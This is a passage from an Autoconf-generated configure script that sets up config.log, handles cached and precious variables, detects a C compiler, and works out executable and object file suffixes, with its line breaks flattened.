$as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; }; then : ac_retval=0 else $as_echo "$as_me: program exited with status $ac_status" >&5 $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=$ac_status fi rm -rf conftest.dSYM conftest_ipa8_conftest.oo eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno as_fn_set_status $ac_retval } # ac_fn_c_try_run # ac_fn_c_check_header_compile LINENO HEADER VAR INCLUDES # ------------------------------------------------------- # Tests whether HEADER exists and can be compiled using the include files in # INCLUDES, setting the cache variable VAR accordingly. ac_fn_c_check_header_compile () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if eval \${$3+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 #include <$2> _ACEOF if ac_fn_c_try_compile "$LINENO"; then : eval "$3=yes" else eval "$3=no" fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno } # ac_fn_c_check_header_compile cat >config.log <<_ACEOF This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. It was created by $as_me, which was generated by GNU Autoconf 2.69. Invocation command line was $ $0 $@ _ACEOF exec 5>>config.log { cat <<_ASUNAME ## --------- ## ## Platform. ## ## --------- ## hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` /bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` /bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` /usr/bin/hostinfo = `(/usr/bin/hostinfo) 2>/dev/null || echo unknown` /bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` /bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` _ASUNAME as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. $as_echo "PATH: $as_dir" done IFS=$as_save_IFS } >&5 cat >&5 <<_ACEOF ## ----------- ## ## Core tests. ## ## ----------- ## _ACEOF # Keep a trace of the command line. # Strip out --no-create and --no-recursion so they do not pile up. # Strip out --silent because we don't want to record it for future runs. # Also quote any args containing shell meta-characters. # Make two passes to allow for proper duplicate-argument suppression. ac_configure_args= ac_configure_args0= ac_configure_args1= ac_must_keep_next=false for ac_pass in 1 2 do for ac_arg do case $ac_arg in -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) continue ;; *\'*) ac_arg=`$as_echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; esac case $ac_pass in 1) as_fn_append ac_configure_args0 " '$ac_arg'" ;; 2) as_fn_append ac_configure_args1 " '$ac_arg'" if test $ac_must_keep_next = true; then ac_must_keep_next=false # Got value, back to normal. else case $ac_arg in *=* | --config-cache | -C | -disable-* | --disable-* \ | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ | -with-* | --with-* | -without-* | --without-* | --x) case "$ac_configure_args0 " in "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; esac ;; -* ) ac_must_keep_next=true ;; esac fi as_fn_append ac_configure_args " '$ac_arg'" ;; esac done done { ac_configure_args0=; unset ac_configure_args0;} { ac_configure_args1=; unset ac_configure_args1;} # When interrupted or exit'd, cleanup temporary files, and complete # config.log. We remove comments because anyway the quotes in there # would cause problems or look ugly. # WARNING: Use '\'' to represent an apostrophe within the trap. # WARNING: Do not start the trap code with a newline, due to a FreeBSD 4.0 bug. trap 'exit_status=$? # Save into config.log some information that might help in debugging. { echo $as_echo "## ---------------- ## ## Cache variables. ## ## ---------------- ##" echo # The following way of writing the cache mishandles newlines in values, ( for ac_var in `(set) 2>&1 | sed -n '\''s/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'\''`; do eval ac_val=\$$ac_var case $ac_val in #( *${as_nl}*) case $ac_var in #( *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 $as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; esac case $ac_var in #( _ | IFS | as_nl) ;; #( BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( *) { eval $ac_var=; unset $ac_var;} ;; esac ;; esac done (set) 2>&1 | case $as_nl`(ac_space='\'' '\''; set) 2>&1` in #( *${as_nl}ac_space=\ *) sed -n \ "s/'\''/'\''\\\\'\'''\''/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\''\\2'\''/p" ;; #( *) sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" ;; esac | sort ) echo $as_echo "## ----------------- ## ## Output variables. ## ## ----------------- ##" echo for ac_var in $ac_subst_vars do eval ac_val=\$$ac_var case $ac_val in *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; esac $as_echo "$ac_var='\''$ac_val'\''" done | sort echo if test -n "$ac_subst_files"; then $as_echo "## ------------------- ## ## File substitutions. ## ## ------------------- ##" echo for ac_var in $ac_subst_files do eval ac_val=\$$ac_var case $ac_val in *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; esac $as_echo "$ac_var='\''$ac_val'\''" done | sort echo fi if test -s confdefs.h; then $as_echo "## ----------- ## ## confdefs.h. ## ## ----------- ##" echo cat confdefs.h echo fi test "$ac_signal" != 0 && $as_echo "$as_me: caught signal $ac_signal" $as_echo "$as_me: exit $exit_status" } >&5 rm -f core *.core core.conftest.* && rm -f -r conftest* confdefs* conf$$* $ac_clean_files && exit $exit_status ' 0 for ac_signal in 1 2 13 15; do trap 'ac_signal='$ac_signal'; as_fn_exit 1' $ac_signal done ac_signal=0 # confdefs.h avoids OS command line length limits that DEFS can exceed. rm -f -r conftest* confdefs.h $as_echo "/* confdefs.h */" > confdefs.h # Predefined preprocessor variables. cat >>confdefs.h <<_ACEOF #define PACKAGE_NAME "$PACKAGE_NAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_TARNAME "$PACKAGE_TARNAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_VERSION "$PACKAGE_VERSION" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_STRING "$PACKAGE_STRING" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_URL "$PACKAGE_URL" _ACEOF # Let the site file select an alternate cache file if it wants to. # Prefer an explicitly selected file to automatically selected ones. ac_site_file1=NONE ac_site_file2=NONE if test -n "$CONFIG_SITE"; then # We do not want a PATH search for config.site. case $CONFIG_SITE in #(( -*) ac_site_file1=./$CONFIG_SITE;; */*) ac_site_file1=$CONFIG_SITE;; *) ac_site_file1=./$CONFIG_SITE;; esac elif test "x$prefix" != xNONE; then ac_site_file1=$prefix/share/config.site ac_site_file2=$prefix/etc/config.site else ac_site_file1=$ac_default_prefix/share/config.site ac_site_file2=$ac_default_prefix/etc/config.site fi for ac_site_file in "$ac_site_file1" "$ac_site_file2" do test "x$ac_site_file" = xNONE && continue if test /dev/null != "$ac_site_file" && test -r "$ac_site_file"; then { $as_echo "$as_me:${as_lineno-$LINENO}: loading site script $ac_site_file" >&5 $as_echo "$as_me: loading site script $ac_site_file" >&6;} sed 's/^/| /' "$ac_site_file" >&5 . "$ac_site_file" \ || { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "failed to load site script $ac_site_file See \`config.log' for more details" "$LINENO" 5; } fi done if test -r "$cache_file"; then # Some versions of bash will fail to source /dev/null (special files # actually), so we avoid doing that. DJGPP emulates it as a regular file. if test /dev/null != "$cache_file" && test -f "$cache_file"; then { $as_echo "$as_me:${as_lineno-$LINENO}: loading cache $cache_file" >&5 $as_echo "$as_me: loading cache $cache_file" >&6;} case $cache_file in [\\/]* | ?:[\\/]* ) . "$cache_file";; *) . "./$cache_file";; esac fi else { $as_echo "$as_me:${as_lineno-$LINENO}: creating cache $cache_file" >&5 $as_echo "$as_me: creating cache $cache_file" >&6;} >$cache_file fi # Check that the precious variables saved in the cache have kept the same # value. ac_cache_corrupted=false for ac_var in $ac_precious_vars; do eval ac_old_set=\$ac_cv_env_${ac_var}_set eval ac_new_set=\$ac_env_${ac_var}_set eval ac_old_val=\$ac_cv_env_${ac_var}_value eval ac_new_val=\$ac_env_${ac_var}_value case $ac_old_set,$ac_new_set in set,) { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 $as_echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} ac_cache_corrupted=: ;; ,set) { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was not set in the previous run" >&5 $as_echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} ac_cache_corrupted=: ;; ,);; *) if test "x$ac_old_val" != "x$ac_new_val"; then # differences in whitespace do not lead to failure. ac_old_val_w=`echo x $ac_old_val` ac_new_val_w=`echo x $ac_new_val` if test "$ac_old_val_w" != "$ac_new_val_w"; then { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' has changed since the previous run:" >&5 $as_echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} ac_cache_corrupted=: else { $as_echo "$as_me:${as_lineno-$LINENO}: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&5 $as_echo "$as_me: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&2;} eval $ac_var=\$ac_old_val fi { $as_echo "$as_me:${as_lineno-$LINENO}: former value: \`$ac_old_val'" >&5 $as_echo "$as_me: former value: \`$ac_old_val'" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: current value: \`$ac_new_val'" >&5 $as_echo "$as_me: current value: \`$ac_new_val'" >&2;} fi;; esac # Pass precious variables to config.status. if test "$ac_new_set" = set; then case $ac_new_val in *\'*) ac_arg=$ac_var=`$as_echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; *) ac_arg=$ac_var=$ac_new_val ;; esac case " $ac_configure_args " in *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. *) as_fn_append ac_configure_args " '$ac_arg'" ;; esac fi done if $ac_cache_corrupted; then { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: error: changes in the environment can compromise the build" >&5 $as_echo "$as_me: error: changes in the environment can compromise the build" >&2;} as_fn_error $? "run \`make distclean' and/or \`rm $cache_file' and start over" "$LINENO" 5 fi ## -------------------- ## ## Main body of script. ## ## -------------------- ## ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. set dummy ${ac_tool_prefix}gcc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="${ac_tool_prefix}gcc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_CC"; then ac_ct_CC=$CC # Extract the first word of "gcc", so it can be a program name with args. set dummy gcc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_ac_ct_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="gcc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 $as_echo "$ac_ct_CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi if test "x$ac_ct_CC" = x; then CC="" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac CC=$ac_ct_CC fi else CC="$ac_cv_prog_CC" fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. set dummy ${ac_tool_prefix}cc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="${ac_tool_prefix}cc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi fi if test -z "$CC"; then # Extract the first word of "cc", so it can be a program name with args. set dummy cc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else ac_prog_rejected=no as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then ac_prog_rejected=yes continue fi ac_cv_prog_CC="cc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS if test $ac_prog_rejected = yes; then # We found a bogon in the path, so make sure we never use it. set dummy $ac_cv_prog_CC shift if test $# != 0; then # We chose a different compiler from the bogus one. # However, it has the same basename, so the bogon will be chosen # first if we set CC to just the basename; use the full file name. shift ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" fi fi fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$CC"; then if test -n "$ac_tool_prefix"; then for ac_prog in cl.exe do # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. set dummy $ac_tool_prefix$ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="$ac_tool_prefix$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$CC" && break done fi if test -z "$CC"; then ac_ct_CC=$CC for ac_prog in cl.exe do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_ac_ct_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CC="$ac_prog" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi ac_ct_CC=$ac_cv_prog_ac_ct_CC if test -n "$ac_ct_CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 $as_echo "$ac_ct_CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi test -n "$ac_ct_CC" && break done if test "x$ac_ct_CC" = x; then CC="" else case $cross_compiling:$ac_tool_warned in yes:) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 $as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} ac_tool_warned=yes ;; esac CC=$ac_ct_CC fi fi fi test -z "$CC" && { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "no acceptable C compiler found in \$PATH See \`config.log' for more details" "$LINENO" 5; } # Provide some information about the compiler. $as_echo "$as_me:${as_lineno-$LINENO}: checking for C compiler version" >&5 set X $ac_compile ac_compiler=$2 for ac_option in --version -v -V -qversion; do { { ac_try="$ac_compiler $ac_option >&5" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compiler $ac_option >&5") 2>conftest.err ac_status=$? if test -s conftest.err; then sed '10a\ ... rest of stderr output deleted ... 10q' conftest.err >conftest.er1 cat conftest.er1 >&5 fi rm -f conftest.er1 conftest.err $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } done cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF ac_clean_files_save=$ac_clean_files ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out" # Try to create an executable without -o first, disregard a.out. # It will help us diagnose broken compilers, and finding out an intuition # of exeext. { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C compiler works" >&5 $as_echo_n "checking whether the C compiler works... " >&6; } ac_link_default=`$as_echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` # The possible output files: ac_files="a.out conftest.exe conftest a.exe a_out.exe b.out conftest.*" ac_rmfiles= for ac_file in $ac_files do case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; * ) ac_rmfiles="$ac_rmfiles $ac_file";; esac done rm -f $ac_rmfiles if { { ac_try="$ac_link_default" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link_default") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : # Autoconf-2.13 could set the ac_cv_exeext variable to `no'. # So ignore a value of `no', otherwise this would lead to `EXEEXT = no' # in a Makefile. We should not override ac_cv_exeext if it was cached, # so that the user can short-circuit this test for compilers unknown to # Autoconf. for ac_file in $ac_files '' do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; [ab].out ) # We found the default executable, but exeext='' is most # certainly right. break;; *.* ) if test "${ac_cv_exeext+set}" = set && test "$ac_cv_exeext" != no; then :; else ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` fi # We set ac_cv_exeext here because the later test for it is not # safe: cross compilers may not add the suffix if given an `-o' # argument, so we may need to know it at that point already. # Even if this section looks crufty: it has the advantage of # actually working. break;; * ) break;; esac done test "$ac_cv_exeext" = no && ac_cv_exeext= else ac_file='' fi if test -z "$ac_file"; then : { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error 77 "C compiler cannot create executables See \`config.log' for more details" "$LINENO" 5; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 $as_echo "yes" >&6; } fi { $as_echo "$as_me:${as_lineno-$LINENO}: checking for C compiler default output file name" >&5 $as_echo_n "checking for C compiler default output file name... " >&6; } { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5 $as_echo "$ac_file" >&6; } ac_exeext=$ac_cv_exeext rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out ac_clean_files=$ac_clean_files_save { $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of executables" >&5 $as_echo_n "checking for suffix of executables... " >&6; } if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : # If both `conftest.exe' and `conftest' are `present' (well, observable) # catch `conftest.exe'. For instance with Cygwin, `ls conftest' will # work properly (i.e., refer to `conftest.exe'), while it won't with # `rm'. for ac_file in conftest.exe conftest conftest.*; do test -f "$ac_file" || continue case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM | *.o | *.obj ) ;; *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` break;; * ) break;; esac done else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "cannot compute suffix of executables: cannot compile and link See \`config.log' for more details" "$LINENO" 5; } fi rm -f conftest conftest$ac_cv_exeext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_exeext" >&5 $as_echo "$ac_cv_exeext" >&6; } rm -f conftest.$ac_ext EXEEXT=$ac_cv_exeext ac_exeext=$EXEEXT cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include int main () { FILE *f = fopen ("conftest.out", "w"); return ferror (f) || fclose (f) != 0; ; return 0; } _ACEOF ac_clean_files="$ac_clean_files conftest.out" # Check that the compiler produces executables we can run. If not, either # the compiler is broken, or we cross compile. { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5 $as_echo_n "checking whether we are cross compiling... " >&6; } if test "$cross_compiling" != yes; then { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } if { ac_try='./conftest$ac_cv_exeext' { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; }; then cross_compiling=no else if test "$cross_compiling" = maybe; then cross_compiling=yes else { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "cannot run C compiled programs. If you meant to cross compile, use \`--host'. See \`config.log' for more details" "$LINENO" 5; } fi fi fi { $as_echo "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5 $as_echo "$cross_compiling" >&6; } rm -f conftest.$ac_ext conftest$ac_cv_exeext conftest.out ac_clean_files=$ac_clean_files_save { $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of object files" >&5 $as_echo_n "checking for suffix of object files... " >&6; } if ${ac_cv_objext+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ int main () { ; return 0; } _ACEOF rm -f conftest.o conftest.obj if { { ac_try="$ac_compile" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compile") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; then : for ac_file in conftest.o conftest.obj conftest.*; do test -f "$ac_file" || continue; case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.map | *.inf | *.dSYM ) ;; *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` break;; esac 